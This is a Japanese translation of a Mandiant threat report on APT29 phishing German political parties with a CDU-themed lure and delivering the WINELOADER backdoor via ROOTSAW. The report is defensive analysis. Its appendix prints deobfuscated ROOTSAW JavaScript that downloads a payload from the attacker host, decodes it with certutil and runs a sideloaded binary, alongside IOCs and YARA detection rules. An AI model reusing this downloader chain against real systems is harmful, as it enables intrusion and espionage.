APT29 が WINELOADER を使用してドイツの政党を標的に
Mandiant
※この投稿は米国時間 2024 年 3 月 22 日に、Google Cloud blog に投稿されたものの抄訳です。
概要
-
2 月下旬、APT29 が CDU を謳ったルアーを使用して、ドイツの政党を標的に、WINELOADER として公に追跡されているバックドアの新しいバリアントを使用しました。
-
この APT29 集団が政党を標的にしたのは今回が初めてのことです。今回の攻撃は、APT29 がこれまで標的としていた外交関係者に対する攻撃の範囲を、新たな領域に広げていることを示唆しています。
-
私たちの判断では、政治情報を収集するロシア対外情報庁(SVR)の任務とこの APT29 集団の過去の標的パターンを踏まえると、この活動は政治的スペクトラム全体にわたってヨーロッパおよび他の西側の政党にとって幅広い脅威を意味すると言えます。
-
技術的な詳細と MITRE ATT&CK 手法については、技術に関する付録(T1543.003、T1012、T1082、T1134、T1057、T1007、T1027、T1070.004、T1055.003、T1083)をご覧ください。
脅威の詳細
2024 年 2 月下旬、Mandiant は、APT29(ロシア連邦が支援するバックエンド脅威グループであり、複数の政府機関が APT29 を通じてロシア対外情報庁(SVR)に結び付いている)がドイツの政党を標的にフィッシング キャンペーンを実施していることを特定しました。2021 年に遡る APT29 の諜報活動での場合と同じく、今回の活動でも APT29 が主力とする第一段階のペイロード ROOTSAW(別名 EnvyScout)を利用して、WINELOADER として公に追跡されているバックドアの新しいバリアントを配信しました。
注目すべき点として、この諜報活動は APT29 の当初のアクセス クラスタからの離脱を表しています。これまでは一般的に、政府、在外大使館や他の外交関係者を標的としていましたが、Mandiant がこの APT29 サブグループの攻撃の矛先が政党に向けられているのを観測したのは今回が初めのことです。さらに、APT29 が以前使用していたのはドイツ政府機関のロゴを入れたルアー ドキュメントでしたが、このグループは今回初めてドイツ語のルアー コンテンツを使用しています。おそらく 2 つの諜報活動での標的の違い、つまり国内の標的か外国の標的かの違いによる人為的な結果です。
-
被害者に送信されたフィッシング メールは、ドイツの主要な政党であるキリスト民主党(CDU)のロゴを入れた、3 月 1 日のディナー レセプションへの招待状を装ったものです。
-
被害者がドイツ語のルアー ドキュメントに記載されているフィッシング リンクをクリックすると、攻撃者が管理する不正なウェブサイト「https://waterforvoiceless[.]org/invite.php」にリダイレクトされるという仕組みです。このウェブサイトでは、ROOTSAW ドロッパーを含む不正な ZIP ファイルがホストされています。
-
ROOTSAW により、CDU を謳った第二段階のルアー ドキュメントと、「waterforvoiceless[.]org/util.php」から取得した第二段階の WINELOADER ペイロードが配信されます。
-
諜報活動で WINELOADER が使用されているのが最初に観測されたのは、チェコ、ドイツ、インド、イタリア、ラトビア、ペルーのおそらく外交関連の組織を標的とした、2024 年 1 月下旬の活動でのことです。
-
バックドアに含まれる複数の機能と関数は、既知のさまざまな APT29 マルウェア ファミリー(BURNTBATTER、MUSKYBEAT、BEATDROP など)のものと重複しており、同じ開発者によって作成された可能性を示唆しています(詳細については、技術に関する付録をご覧ください)。


図 1: APT29 が管理する、ROOTSAW をホストする不正な WordPress ウェブサイトに被害者をリダイレクトするルアー ドキュメント


図 2: ROOTSAW ダウンローダーによって表示される 2 つ目の CDU ルアー
見通しと影響
外国の政治情報の収集を目的とした APT29 の初期アクセスの取り組みでは、今後も引き続き、ROOTSAW が中心的なコンポーネントになるはずです。ドイツの政党を標的に第一段階のマルウェアを使ったということは、この APT29 サブグループのこれまでの外交的な焦点からの逸脱を顕著に示しています。これはほぼ確実に、SVR が政党からの情報や、モスクワの地政学的利益を高める可能性がある他の市民社会に関する情報の収集に関心を向けていることを反映しています。
2023 年上半期の APT29 の諜報活動に関する前回の調査で明らかにされているように、これらのマルウェア配信活動は適応性が非常に高いため、ロシアの地政学的現実に厳密に従って進化し続けています。このことから、私たちは APT29 のこうした組織への関心がドイツだけに限られていることはまずないと考えています。ウクライナや、紛争の火種となる他の外交問題に関連して、西側の政治力学は変わっていきます。この変化を理解することによるモスクワの重要な利益を考えると、西側の政党と、政治的スペクトラム全体にわたる関連団体も、SVR に結び付いた今後のサイバー エスピオナージ活動の標的となるはずです。
他の APT29 サブグループによる最近の諜報活動では、初期アクセスを成功させるための手法として、フィッシングだけでなく、クラウドベースの認証メカニズムを無効にする試みや、パスワード スプレーなどのブルート フォースも使われています。APT29 の最近の戦術について詳しくは、英国の国家サイバー セキュリティ センター(NCSC)による 2024 年 2 月の勧告をご覧ください。
技術に関する付録
初期アクセス
2024 年 2 月 26 日に初めて観測されたように、APT29 は被害者を ROOTSAW ドロッパーにリダイクレクトすべく、攻撃者が管理する不正なウェブサイト「waterforvoiceless[.]org/invite.php」へのリンクを記載したフィッシング添付ファイルを配信しています。ROOTSAW のこのバリアントでは、以前の APT29 の諜報活動で使用されていたのと同じ JavaScript 難読化リソースを使用しており、最終的には「waterforvoiceless[.]org/util.php」にある同じサーバーから第二段階の WINELOADER をダウンロードして実行するリクエストが送信されることになります。
以下のコードは、ROOTSAW ペイロードに含まれる JSObfuscated ペイロードを解析したものです。このコードがファイルを「invite.txt」としてディスクにダウンロードして、Windows Certutil でデコードしてから、tar を使用してコードを圧縮解除します。最後に、正当な Windows バイナリ(SqlDumper.exe)が攻撃者によって実行されるという仕組みです。
var a = new ActiveXObject("Wscript.Shell");
function Ijdaskjw(_0x559297) {
var _0x3bd487 = new XMLHttpRequest();
_0x3bd487.onreadystatechange = function () {
if (_0x3bd487.readyState == 0x4 && _0x3bd487.status == 0xc8) {
var _0x11aa10 = _0x3bd487.response;
var _0xce698d = new ActiveXObject("Scripting.FileSystemObject");
var _0x20081c = _0xce698d.OpenTextFile("C:\\Windows\\Tasks
\\invite.txt", 0x2, true, 0x0);
_0x20081c.Write(_0x11aa10);
_0x20081c.close();
a.Run("certutil -decode C:\\Windows\\Tasks\\invite.txt C:\\Windows
\\Tasks\\invite.zip", 0x0);
var _0x245d53 = Date.now();
var _0x3f9f72 = null;
do {
_0x3f9f72 = Date.now();
} while (_0x3f9f72 - _0x245d53 < 0xbb8);
a.Run("tar -xf C:\\Windows\\Tasks\\invite.zip -C C:\\Windows\\Tasks
\\ ", 0x0);
var _0x245d53 = Date.now();
var _0x3f9f72 = null;
do {
_0x3f9f72 = Date.now();
} while (_0x3f9f72 - _0x245d53 < 0xdac);
a.Run("C:\\Windows\\Tasks\\SqlDumper.exe", 0x0);
}
};
_0x3bd487.open("GET", _0x559297, true);
_0x3bd487.send(null);
}
Ijdaskjw("https://waterforvoiceless.org/util.php");
-
Invite.pdf(MD5: fb6323c19d3399ba94ecd391f7e35a9c)
-
CDU を謳った、2 つ目の PDF ルアー ドキュメント
-
デフォルト ユーザー「Writer」により LibreOffice 6.4 で記述されたもの
-
メタデータでは PDF を en-GB 言語として文書化している
-
https://waterforvoiceless[.]org/invite.php にリンクする
-
invite.php(MD5: 7a465344a58a6c67d5a733a815ef4cb7)
-
ROOTSAW を含む ZIP ファイル
-
https://waterforvoiceless[.]org/invite.php からダウンロードされる
-
efafcd00b9157b4146506bd381326f39 を実行する
-
invite.hta(MD5: efafcd00b9157b4146506bd381326f39)
-
難読化されたコードを含む ROOTSAW ダウンローダー
-
https://waterforvoiceless[.]org/util.php からダウンロードする
-
44ce4b785d1795b71cee9f77db6ffe1b を抽出する
-
f32c04ad97fa25752f9488781853f0ea を実行する
-
invite.txt(MD5: 44ce4b785d1795b71cee9f77db6ffe1b)
-
Windows Certutil を使用して抽出された不正な証明書ファイル
-
efafcd00b9157b4146506bd381326f39 から実行される
-
https://waterforvoiceless[.]org/util.php からダウンロードされる
-
invite.zip(MD5: 5928907c41368d6e87dc3e4e4be30e42)
-
WINELOADER が含まれる不正な zip
-
44ce4b785d1795b71cee9f77db6ffe1b から抽出される
-
e017bfc36e387e8c3e7a338782805dde を含む
-
f32c04ad97fa25752f9488781853f0ea を含む
-
sqldumper.exe(MD5: f32c04ad97fa25752f9488781853f0ea)
-
サイド ローティングに使用される正当な Microsoft ファイル Sqldumper
WINELOADER の分析
WINELOADER は、Mandiant が独自に APT29 と関連付けている、非公開のかつての BURNTBATTER および MUSKYBEAT コード ファミリーのバリアントであると考えられており、特にマルウェアの呼び出しと、使用されている解析回避手法に関して同様の設計とパターンを共有しています。ただし、このコード ファミリー自体は以前のバリアントよりもかなりカスタマイズされていて、DONUT や DAVESHELL などの一般公開されているローダーは使用せずに、独自の C2 メカニズムを実装しています。さらに WINELOADER に含まれる次の手法は、APT29 が使用している他のコード ファミリーと共有されたものです。
-
次の段階のペイロードの復号に使用される RC4 アルゴリズム
-
ペイロードの内容を検証するためのプロセス / DLL 名チェック(初期の BEATDROP バリアント以来使用されている手法)
-
Ntdll ユーザーモードのフックバイパス(初期の BEATDROP バリアント以来使用されている手法)
WINELOADER は DLL サイド ローディングという手法によって、正当な Windows 実行可能ファイル内で呼び出され、RC4 を使用してメイン インプラント ロジック自体の復号を開始します。この最初の難読化解除レイヤは、MUSKYBEAT / BURNTBATTER マルウェア ファミリーで初めて観測されたものです。当初は、同じく zip ファイルに含まれる 2 つ目のファイルを復号するために使われていましたが、WINELOADER 内では実際の WINELOADER モジュールを格納するメモリ領域の復号に使われています。このモジュールは、シェルコードとは独立したコンパイル位置にあり、自身の中で文字列と復号モジュールを参照します。
この参照により、復号関数がシェルコードとは独立したこの位置に実行を移します。ZScaler では、このリソースを WINELOADER コアモジュールと呼び、ここに設定(C2 情報、RC4 復号キー)と文字列が含まれていると指摘しています。Mandiant で特定したサンプルによると、WINELOADER リソースには 70 個の暗号化された文字列が含まれており、いずれのサンプルでもデフォルトのスリープ タイマーが 2 秒に構成されています。
WINELOADER は、そのリソース内部に含まれるユーザー エージェントを使用して、HTTP GET リクエストという手段で通信します。C2 サーバーに送信される各パケットにはランダムなサイズの登録パケットが含まれています。この登録パケットに、被害者のユーザー名 / デバイス名などの環境情報およびプロセス名に加え、攻撃者が侵害したシステムが有効なターゲットであるかどうかを判断するために利用できる可能性がある情報(親プロセスのパスなど)が格納されます。C2 サーバーからのレスポンスによって、WINELOADER に(同じプロセス内で、またはプロセス インジェクションを介した)新しいモジュールの実行、スリープ タイマーの更新をさせることができます。
Mandiant は攻撃者からのコマンドを取得できなかったものの、ZScaler は WINELOADER を存続させてデバイスに実行キーを構成するコマンドを受信できたと報告しています。
-
vcruntime140.dll(MD5: 8bd528d2b828c9289d9063eba2dc6aa0)
-
WINELOADER ダウンローダー
-
https://siestakeying[.]com/auth.php と通信する
-
Vcruntime140.dll(MD5: e017bfc36e387e8c3e7a338782805dde)
-
WINELOADER ダウンローダー
-
https://siestakeying[.]com/auth.php と通信する
MITRE ATT&CK の手法
検出
rule M_APT_Dropper_Rootsaw_Obfuscated
{
meta:
author = "Mandiant"
disclaimer = "This rule is meant for hunting
and is not tested to run in a production environment."
description = "Detects obfuscated ROOTSAW payloads"
strings:
$ = "function _"
$ = "new XMLHttpRequest();"
$ = "'\\x2e\\x7a\\x69\\x70'"
$ = "'\\x4f\\x70\\x65\\x6e'"
$ = "\\x43\\x3a\\x5c\\x57"
condition:
all of them
}
rule M_APT_Downloader_WINELOADER_1
{
meta:
author = "Mandiant"
disclaimer = "This rule is meant for hunting and
is not tested to run in a production environment."
description = "Detects rc4 decryption logic in
WINELOADER samples"
strings:
$ = {B9 00 01 00 00 99 F7 F9 8B 44 24 [50-200]
0F B6 00 3D FF 00 00 00} // Key initialization
$ = {0F B6 00 3D FF 00 00 00} // Key size
condition:
all of them
}
rule M_APT_Downloader_WINELOADER_2
{
meta:
author = "Mandiant"
disclaimer = "This rule is meant for hunting and
is not tested to run in a production environment."
description = "Detects payload invocation stub
in WINELOADER"
strings:
// 48 8D 0D ?? ?? 00 00 lea rcx, module_start
(Pointer to encrypted resource)
// 48 C7 C2 ?? ?? 00 00 mov rdx, ???? (size of encrypted source)
// E8 [4] call decryption
// 48 8D 05 [4] lea rcx, ??
// 48 8D 0D [4] lea rax, module_start (decrypted resource)
// 48 89 05 [4] mov ptr_mod, rax
//
$ = {48 8D 0D ?? ?? 00 00 48 C7 C2 ?? ?? 00 00 E8 [4]
48 8d 0D [4] 48 8D 05 [4] 48 89 05 }
condition:
all of them
}
ー Mandiant、著者: Luke Jenkins、Dan Black